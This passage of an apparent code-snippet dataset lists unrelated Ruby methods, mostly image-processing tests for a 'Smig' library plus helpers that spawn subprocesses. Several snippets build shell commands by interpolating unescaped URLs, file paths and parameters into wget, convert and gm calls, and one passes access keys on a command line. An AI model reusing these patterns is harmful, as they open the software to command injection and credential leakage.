theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n\n # Create the bitmap context object. First generate its name.\n bitmapContextName = SecureRandom.uuid\n\n # Use spotlight to find out the dimensions of the original image so\n # we can create the appropriate sized bitmap context.\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n size: imageDimensions,\n# width: imageDimensions[0],\n# height: imageDimensions[1],\n preset: \"AlphaPreMulFirstRGB8bpcInt\",\n name: bitmapContextName)\n \n # Create the bitmap context object id so we can refer it later on.\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n\n # Now add the create importer and bitmap context commands to command list\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n # Start preparing the drawing element action.\n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.sourcerectangle = sourceRect\n drawImageElement.destinationrectangle = destRect\n \n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n\n # Now add the draw element command to the list of commands.\n theCommands.add_command(drawCommand)\n \n # Setup the create image exporter command with a path to export the file\n # to, within the users temporary directory.\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n \n # Create the image exporter object command.\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n\n # Create the image exporter object id so we can refer it later on.\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n\n # Add the create image exporter object command to the list of commands.\n theCommands.add_command(createExporterCommand)\n \n # Now create the add image to image exporter object command.\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, bitmapContextObject)\n \n # Add the addimage to exporter object command to the list of commands.\n theCommands.add_command(addImageToExporterCommand)\n \n # Create the export image file command and add it to the list of commands.\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n\n # Everything is set up, now perform the commands.\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n \n # We've generated a new image file, now compare it against one we made\n # earlier.\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n unless tempFile.nil?\n FileUtils.rm_f(tempFile)\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n end\n end\nend",
"def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create tiny thumbnail\n #\n #image = MiniMagick::Image.open(file_path)\n\n #ImageUtilities.reduce_to_with_image(\n # image,\n # {:width => 180,:height => 180})\n\n #FileSystem.store(\n # thumbnail_path,\n # open(image.path),\n # \"Content-Type\" => \"image/jpeg\",\n # \"Expires\" => 1.year.from_now.\n # strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create square thumbnail\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:white_200x200]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.gravity \"Center\"\n canvas.geometry \"200x200+0+0\"\n end\n\n FileSystem.store(\n square_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create blurred thumbnail\n #\n image = MiniMagick::Image.open(base.path)\n\n image.combine_options do |canvas|\n canvas.blur \"2.5x2.5\"\n end\n\n FileSystem.store(\n blur_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create giant thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 520,:height => 390})\n\n FileSystem.store(\n giant_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n\n # Create unit.\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_base]))\n overlay = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_overlay]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"Center\"\n canvas.geometry \"407x407+0+0\"\n end\n\n base = base.composite(overlay) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"NorthWest\"\n canvas.geometry \"54x54+447+19\"\n end\n\n FileSystem.store(\n unit_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end",
"def test02()\n sourceImage = File.join($directory, \"images/test002image.jpg\")\n begin \n # Create the list of commands object, ready to have commands added to it.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 1. Create image importer\n importerName = SecureRandom.uuid\n imageImporterObject = theCommands.make_createimporter(sourceImage,\n name: importerName, addtocleanup: false)\n\n # 2. Create bitmap context.\n imageSize = MIShapes.make_size(336, 600)\n destRect = MIShapes.make_rectangle(size: imageSize)\n bitmapObject = theCommands.make_createbitmapcontext(size: imageSize)\n \n # 3. Draw the image in the image collection to the window context.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject)\n drawImageElement.destinationrectangle = destRect\n drawElementCommand = CommandModule.make_drawelement(bitmapObject,\n drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n\n # 4. Assign to the image collection an image generated from the bitmap context\n imageId = SecureRandom.uuid\n assignBitmapImageCommand = CommandModule.make_assignimage_tocollection(\n bitmapObject, identifier: imageId)\n theCommands.add_command(assignBitmapImageCommand)\n\n # 5. Create window context.\n winRect = MIShapes.make_rectangle(origin: { x: 100, y: 50 },\n size: imageSize)\n windowObject = theCommands.make_createwindowcontext(rect: winRect,\n addtocleanup: false)\n \n # 6. Draw the image in the image collection to the window context.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagecollection_imagesource(identifier: imageId)\n drawImageElement.destinationrectangle = destRect\n \n drawElementCommand = CommandModule.make_drawelement(\n windowObject, drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n # 7 will happen here in the cleanup commands.\n Smig.perform_commands(theCommands)\n \n # 8. Attempt to draw the image from collection again to window context.\n # The first lot of commands to be run have run. I've split up the performing\n # of commands so that we get to see the content actually drawn to the window.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n theCommands.add_command(drawElementCommand)\n \n # 9. Remove the image from the image collection\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId)\n theCommands.add_command(removeCommand)\n Smig.perform_commands(theCommands)\n \n # 10. Now attempt to draw the image again and catch the error.\n begin\n Smig.perform_command(drawElementCommand)\n puts \"We shouldn't get here as perform command should have an exception\"\n puts \"File: #{$filename}, Line: #{__LINE__}\"\n rescue\n end\n\n # 11. Assign to the image colection an image generated from the image importer.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n imageId2 = SecureRandom.uuid\n assignImageCommand = CommandModule.make_assignimage_fromimporter_tocollection(\n imageImporterObject, imageindex: 0, identifier: imageId2)\n theCommands.add_command(assignImageCommand)\n\n # 12. Draw the new image in the image collection to the window object\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagecollection_imagesource(identifier: imageId2)\n drawImageElement.destinationrectangle = destRect\n \n drawElementCommand = CommandModule.make_drawelement(\n windowObject, drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n Smig.perform_commands(theCommands)\n \n # 13. Close the image importer after creating a new command list.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n closeCommand = CommandModule.make_close(imageImporterObject)\n theCommands.add_command(closeCommand)\n \n # 14. Draw the image in the image collection to window object again.\n theCommands.add_command(drawElementCommand)\n \n # 15. Remove the image from the image collection.\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId2)\n theCommands.add_command(removeCommand)\n \n Smig.perform_commands(theCommands)\n\n # 16. Attempt to draw the removed image again, and catch failure.\n begin\n Smig.perform_command(drawElementCommand)\n puts \"We shouldn't get here as perform command should have an exception\"\n puts \"File: #{$filename}, Line: #{__LINE__}\"\n rescue\n end\n\n # 17. Assign an image from the window context to the image collection.\n imageId3 = SecureRandom.uuid\n assignCommand = CommandModule.make_assignimage_tocollection(windowObject,\n identifier: imageId3)\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n theCommands.add_command(assignCommand)\n \n # 18. Now close the window context.\n theCommands.add_command(CommandModule.make_close(windowObject))\n \n # 19. Now remove the image from the image collection.\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId2)\n theCommands.add_command(removeCommand)\n Smig.perform_commands(theCommands)\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n end\nend",
"def spawn(type, args={})\n @stage.spawn type, args\n end",
"def spawn(args)\n Gerrit::Subprocess.spawn(args)\n end",
"def test04()\n sourceMovie = File.join($directory, \"images/418_clip5_sd.m4v\")\n baseImageName = \"movie-trackframe2secs.jpg\"\n begin \n # Create the list of commands object, ready to have commands added to it.\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n movieImporterName = SecureRandom.uuid\n movieObject = theCommands.make_createmovieimporter(sourceMovie,\n name: movieImporterName)\n # Create an image exporter object\n# tempFile = File.join(Dir.tmpdir(), baseImageName)\n tempFile = File.join($compareImageDir, baseImageName)\n exporterObject = theCommands.make_createexporter(tempFile)\n frameTime = MovieTime.make_movietime_fromseconds(2.0)\n trackID = MovieTrackIdentifier.make_movietrackid_from_mediatype(\n mediatype: :vide, trackindex: 0)\n addImageToExporterCommand = CommandModule.make_addimage_frommovie(\n exporterObject, movieObject,\n# frametime: {flags:1, value:1200, timescale:600, epoch:0},\n frametime: frameTime,\n# tracks: [ { mediatype: :vide, trackindex: 0 } ])\n tracks: [ trackID ])\n theCommands.add_command(addImageToExporterCommand)\n exportCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportCommand)\n Smig.perform_commands(theCommands)\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile)\n # 2. Report if different.\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n# Open3.capture2(\"open\", tempFile) unless tempFile.nil?\n# Open3.capture2(\"open\", origFile) unless origFile.nil?\n end\nend",
"def spawn(cmd)\n log \">> #{cmd}\"\n\n cmd += ' 2>&1'\n output = \"\"\n PTY.spawn cmd do |r, _w, pid|\n begin\n r.sync\n r.each_char do |chr|\n STDOUT.write(chr) unless @options[:quiet]\n output << chr\n end\n rescue Errno::EIO\n # simply ignoring this\n ensure\n ::Process.wait pid\n end\n end\n abort \"#{cmd} failed, exit code #{$? && $?.exitstatus}\" unless $? && $?.exitstatus == 0\n\n output.strip\n end",
"def graphicsmagick?; end",
"def test04()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n windowContextName = SecureRandom.uuid\n createWindowContextCommand = CommandModule.make_createwindowcontext(\n width: imageDimensions[:width],\n height: imageDimensions[:height],\n name: windowContextName)\n windowContextObject = SmigIDHash.make_objectid(\n objecttype: :nsgraphicscontext,\n objectname: windowContextName)\n theCommands.add_command(createWindowContextCommand)\n theCommands.add_tocleanupcommands_closeobject(windowContextObject)\n\n # Need to initialize the window to having a white background.\n windowRect = MIShapes.make_rectangle(size: imageDimensions,\n origin: { :x => 0, :y => 0 } )\n whiteColor = MIColor.make_rgbacolor(1.0, 1.0, 1.0)\n drawBackgroundElement = MIDrawElement.new(:fillrectangle)\n drawBackgroundElement.rectangle = windowRect\n drawBackgroundElement.fillcolor = whiteColor\n \n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n drawElements = MIDrawElement.new(:arrayofelements)\n drawElements.add_drawelement_toarrayofelements(drawBackgroundElement)\n drawElements.add_drawelement_toarrayofelements(drawImageElement)\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(windowContextObject,\n drawinstructions: drawElements)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(\n exporterObject, windowContextObject)\n theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n FileUtils.rm_f(tempFile) unless tempFile.nil?\n # Open3.capture2(\"open\", tempFile)\n # Open3.capture2(\"open\", origFile)\n end\nend",
"def capture_command \n cmd = \"#{@cutycapt_path} --url='#{@url}'\"\n cmd += \" --out='#{@folder}/#{@filename}'\"\n cmd += \" --max-wait=#{@max_wait}\"\n cmd += \" --delay=#{@delay}\" if @delay\n cmd += \" --user-agent='#{@user_agent}'\"\n cmd += \" --min-width='#{@min_width}'\"\n cmd += \" --min-height='#{@min_height}'\"\n\n \n if determine_os == :linux and check_xvfb\n xvfb = 'xvfb-run --server-args=\"-screen 0, 1024x768x24\" '\n xvfb.concat(cmd)\n else\n cmd\n end \n end",
"def system(cmd, *rest) end",
"def run()\n stdout_file = Tempfile::new(\"rbatch_tmpout\",RBatch::tmp_dir)\n stderr_file = Tempfile::new(\"rbatch_tmperr\",RBatch::tmp_dir)\n pid = spawn(@cmd_str,:out => [stdout_file,\"w\"],:err => [stderr_file,\"w\"])\n if @opt[:timeout] != 0\n timeout(@opt[:timeout]) do\n begin\n status = Process.waitpid2(pid)[1] >> 8\n rescue Timeout::Error => e\n raise(CmdException,\"Command timeout (over \" + @opt[:timeout] + \" sec)\" )\n end\n end\n else\n status = Process.waitpid2(pid)[1] >> 8\n end\n result = RBatch::CmdResult.new(stdout_file,stderr_file,status,@cmd_str)\n if @opt[:raise] && status != 0\n raise(CmdException,\"Command exit status is not 0. result: \" + result.to_s)\n end\n return result\n end",
"def mosaic_command\n temp_file = Tempfile.new\n temp_file.write(raster_paths.join(\"\\n\"))\n temp_file.rewind\n yield \"#{access_key} #{secret_access_key} LC_ALL=C.UTF-8 LANG=C.UTF-8 cogeo-mosaic create #{temp_file.path} -o #{output_path}\"\n temp_file.close\n end",
"def do_shell(cmd)\n puts \"[METASIM]:#{Dir.pwd}$ #{cmd}\"\n raise \"Shell command failure\" unless system(cmd)\nend",
"def exec_script_on(script_path_str,arguments_str,current_path_str)\n fname_str = File.basename(script_path_str)\n rempte_path_str = \"/tmp/\" + fname_str\n push_a_file(script_path_str,rempte_path_str)\n exec_on!(\"sh #{rempte_path_str} \" + arguments_str,current_path_str)\n end",
"def test03()\n imageFile = $directory + \"/images/DSCN0733.JPG\"\n baseImageName = \"rotatedimage2.jpg\"\n begin\n theCommands = CommandModule::SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n importerName = SecureRandom.uuid\n createImporterCommand = CommandModule.make_createimporter(imageFile,\n name: importerName)\n imageImporterObject = SmigIDHash.make_objectid(objecttype: :imageimporter,\n objectname: importerName)\n theCommands.add_command(createImporterCommand)\n theCommands.add_tocleanupcommands_closeobject(imageImporterObject)\n imageDimensions = SpotlightCommand.get_imagedimensions(imageFile)\n bitmapContextName = SecureRandom.uuid\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n size: imageDimensions,\n name: bitmapContextName)\n bitmapContextObject = SmigIDHash.make_objectid(objecttype: :bitmapcontext,\n objectname: bitmapContextName)\n theCommands.add_command(createBitmapContextCommand)\n theCommands.add_tocleanupcommands_closeobject(bitmapContextObject)\n\n theSize = MIShapes.make_size(imageDimensions[:width] * 0.5,\n imageDimensions[:height] * 0.5)\n theOrigin = MIShapes.make_point(imageDimensions[:width] * 0.25,\n imageDimensions[:height] * 0.25)\n sourceRect = MIShapes.make_rectangle(size: theSize, origin: theOrigin)\n destRect = sourceRect\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagefile_imagesource(source_object: imageImporterObject,\n imageindex: 0)\n drawImageElement.destinationrectangle = destRect\n affineTransform = MITransformations.make_affinetransform(\n m11: 0.707, m12: 0.707, m21: -0.707,\n m22: 0.707, tX: 373.74, tY: -221.29)\n drawImageElement.affinetransform = affineTransform\n # With the draw element put together, now create the draw element command\n drawCommand = CommandModule.make_drawelement(bitmapContextObject,\n drawinstructions: drawImageElement)\n theCommands.add_command(drawCommand)\n tempFile = File.join(Dir.tmpdir(), baseImageName)\n imageExporterName = SecureRandom.uuid\n createExporterCommand = CommandModule.make_createexporter(tempFile,\n export_type: \"public.jpeg\",\n name: imageExporterName)\n exporterObject = SmigIDHash.make_objectid(objecttype: :imageexporter,\n objectname: imageExporterName)\n theCommands.add_command(createExporterCommand)\n theCommands.add_tocleanupcommands_closeobject(exporterObject)\n addImageToExporterCommand = CommandModule.make_addimage(exporterObject, \n bitmapContextObject)\n theCommands.add_command(addImageToExporterCommand)\n exportImageToFileCommand = CommandModule.make_export(exporterObject)\n theCommands.add_command(exportImageToFileCommand)\n commandsHash = theCommands.commandshash\n $teststring = commandsHash.to_json\n theResult = Smig.perform_commands(commandsHash)\n puts \"The result is: \" + theResult unless theResult.length.zero?\n\n origFile = File.join($compareImageDir, baseImageName)\n unless AreImageFilesSame(origFile, tempFile, 0)\n raise \"Different image files: \" + origFile + \" and \" + tempFile\n end\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts $teststring + \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n# exit 240\n ensure\n # Open3.capture2(\"open\", origFile)\n # Open3.capture2(\"open\", tempFile)\n # FileUtils.rm_f(tempFile) unless tempFile.nil?\n end\nend",
"def run\n mutex = Mutex.new\n threads = []\n count = 0\n imagepipeline do |from,to|\n while (@pipesize <= count) do\n # do not start until a worker is available\n end\n # record worker thread before he starts\n mutex.synchronize { count += 1 }\n threads << Thread.new do\n #run command\n system \"#{@command} #{from} #{to}\"\n # must maintain synchronization\n mutex.synchronize { count -= 1 }\n end\n end\n # clean up\n threads.each {|t| t.join }\n end",
"def process\n pid = spawn(@args.command, %i[out err] => '/dev/null')\n Process.detach pid\n metadata[@args.command] = pid\n end",
"def popen2(&block)\n Open3.popen2(*spawn_args, &block)\n end",
"def popen_successfull_fake(fakename)\n\t popen_fake(fakename,true)\nend",
"def posix_spawn=(bool)\n @posix_spawn = bool\n end",
"def test01()\n sourceMovie = File.join($directory, \"images/418_clip5_SD.m4v\")\n begin \n # Create the list of commands object, ready to have commands added to it.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n\n # 1. Create movie importer and assign frame to image collection.\n # Basically after the first block of commands is run, the movie importer\n # is closed automatically in the cleanup commands.\n movieImporterName = SecureRandom.uuid\n movieObject = theCommands.make_createmovieimporter(sourceMovie,\n name: movieImporterName)\n\n frameTime = MovieTime.make_movietime(timescale: 600, timevalue: 900)\n trackID = MovieTrackIdentifier.make_movietrackid_from_mediatype(\n mediatype: :vide, trackindex: 0)\n \n imageId = SecureRandom.uuid\n assignFrameCommand = CommandModule.make_assignimage_frommovie_tocollection(\n movieObject, frametime: frameTime, tracks: [trackID], identifier: imageId)\n theCommands.add_command(assignFrameCommand)\n \n # 2. Create the window context\n winRect = MIShapes.make_rectangle(origin: { x: 100, y: 50 },\n size: { width: 400, height: 252 })\n windowObject = theCommands.make_createwindowcontext(rect: winRect,\n addtocleanup: false)\n \n # 3. Draw the image in the image collection to the window context.\n drawImageElement = MIDrawImageElement.new()\n drawImageElement.set_imagecollection_imagesource(identifier: imageId)\n drawImageElement.destinationrectangle = MIShapes.make_rectangle(width: 400,\n height: 252)\n drawElementCommand = CommandModule.make_drawelement(\n windowObject, drawinstructions: drawImageElement, createimage: false)\n theCommands.add_command(drawElementCommand)\n Smig.perform_commands(theCommands)\n \n # The first lot of commands to be run have run. I've split up the performing\n # of commands so that we get to see the content actually drawn to the window.\n # 4. Create the new command list.\n theCommands = SmigCommands.new\n theCommands.saveresultstype = :lastcommandresult\n \n # 5. Draw the image in image collection to the window context\n theCommands.add_command(drawElementCommand)\n \n # 6. Remove the image from the image collection\n removeCommand = CommandModule.make_removeimage_fromcollection(imageId)\n theCommands.add_command(removeCommand)\n Smig.perform_commands(theCommands)\n \n # 7. Now attempt to draw the image again.\n begin\n Smig.perform_command(drawElementCommand)\n puts \"We shouldn't get here as perform command should have an exception\"\n puts \"File: #{$filename}, Line: #{__LINE__}\"\n rescue\n end\n \n # 8. Now close the window context.\n Smig.close_object(windowObject)\n\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \" Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n end\nend",
"def run_in_new_process\n fork do # rubocop:todo Style/ExplicitBlockArgument\n yield\n end\nend",
"def run(command_builder)\n command = command_builder.command\n\n sub = Subexec.run(command, timeout: options[:timeout])\n\n if sub.exitstatus != 0\n\n # Raise the appropriate error\n if sub.output =~ /no decode delegate/i || sub.output =~ /did not return an image/i\n raise MiniMagick::Invalid, sub.output\n else\n # TODO: should we do something different if the command times out ...?\n # its definitely better for logging.. otherwise we dont really know\n raise MiniMagick::Error, \"Command (#{command.inspect.gsub(\"\\\\\", \"\")}) failed: #{{:status_code => sub.exitstatus, :output => sub.output}.inspect}\"\n end\n else\n sub.output\n end\n end",
"def create_thumbnail(image)\n thumb = ( image.gsub /^#{@dirname}/, \"#{@thumbs}\" ) + @thumbext\n system(\"convert #{image} -thumbnail '#{@size}>' -#{@action} '#{@size}' -background white -quality 60 -gravity center -extent #{@size} #{thumb}\")\n end",
"def system=(_arg0); end",
"def create_frame_and_thumbnail\n if (File.extname(self.image_sequence) == \".mha\")\n file_path = Rails.root.join(dir_path, self.image_sequence)\n result = system(Rails.root.join('scripts','mha_to_png','bin',\"MhaToPng #{file_path} 1\").to_s)\n base_name = File.basename(file_path, \".mha\")\n image = MiniMagick::Image.open(\"#{dir_path}/#{base_name}_frame.png\")\n image.resize \"200x200\"\n image.format \"png\"\n image.write \"#{dir_path}/#{base_name}_thumbnail.png\"\n File.chmod(0644, \"#{dir_path}/#{base_name}_thumbnail.png\")\n self.thumbnail = \"#{base_name}_thumbnail.png\"\n self.frame = \"#{base_name}_frame.png\"\n end\n end",
"def create_thumbnail(image)\n #FIXME - make the path consistent with working tree files.\n # the current proess relies on Glimage paths which we don't have.\n geo = Rails.application.config.thumbnail_geometry.nil? ? \"100\" : Rails.application.config.thumbnail_geometry\n cmd = Escape.shell_command [\"convert\", image.filepath, '-thumbnail', geo, image.thumbnail('filepath')]\n logger.debug \"Command: #{cmd}\"\n output = `#{cmd}`\n logger.debug \"output #{output}\"\n logger.debug \"result #{$?.success?}\"\n end",
"def make\n src = @file\n dst = Tempfile.new([@basename, 'png'].compact.join(\".\"))\n dst.binmode\n \n\n parms = []\n parms << \"-size #{@target_geometry.width.to_i}x#{@target_geometry.height.to_i}\"\n parms << \"-quality 95\"\n parms << convert_options\n parms << \"#{File.expand_path(src.path)}[0]\"\n parms << File.expand_path(dst.path)\n \n parameters = parms.flatten.compact.join(\" \").strip.squeeze(\" \")\n \n \n# Rails.logger.info @file.path\n# Rails.logger.info '========== gm convert ' + parameters\n # success = Paperclip.run('gm convert', parameters)\n # success = Paperclip::CommandLine.new('gm convert', parameters, :expected_outcodes => [0, 1]).run\n\n output = `gm convert #{parameters}`\n if ! [0, 1].include?($?.exitstatus)\n raise PaperclipError, \"There was an error converting pdf to png: #{output} #{e}\" if @whiny\n end\n\n# success = Paperclip.run('gm convert', parameters)\n\n\n\n Rails.logger.info '========== tmpfile: ' + dst.path\n\n return dst\n# return ' s'\n end",
"def popen_fake(fakename,exp_result)\n\n\tif( RUBY_PLATFORM.match(/mingw/)||RUBY_PLATFORM.match(/mswin/)||RUBY_VERSION.match(\"1.8\"))\n\t\tpipe_args = fakename\t\t\n\telse\n\t\tpipe_args = fakename.split << {:err=>[:child, :out]}\n\tend\n\t\n\tallow(IO).to receive(:popen).with(pipe_args)\t\n\tif exp_result == false\n\t\texpect(IO).to receive(:popen).with(pipe_args) { fake_script(1) }\n\telse\t\n\t\texpect(IO).to receive(:popen).with(pipe_args) { fake_script(0) }\n\tend\nend",
"def sh cmd, working_dir=@path\n opts = {}\n if working_dir\n opts[:chdir] = working_dir\n mkdir_p working_dir unless exists? working_dir\n end\n\n puts \" #{File.basename(working_dir)}$ #{cmd}\"\n\n process = POSIX::Spawn::Child.new cmd, opts\n\n unless process.success?\n raise \"Command #{cmd} failed. out: #{process.out}\\nerr: #{process.err}\"\n end\n\n out = process.out\n out ? out.strip : out\n end",
"def execute\n begin\n rout, wout = IO.pipe\n rerr, werr = IO.pipe\n stdout, stderr = nil\n\n pid = Process.spawn(command_line, :pgroup => true, :out => wout, :err => werr)\n Timeout.timeout(timeout) do\n Process.wait(pid)\n\n wout.close\n werr.close\n\n stdout = rout.readlines.join\n stderr = rerr.readlines.join\n end\n rescue Timeout::Error\n Process.kill(-9, pid)\n Process.detach(pid)\n ensure\n wout.close unless wout.closed?\n werr.close unless werr.closed?\n\n rout.close\n rerr.close\n end\n stdout\n end",
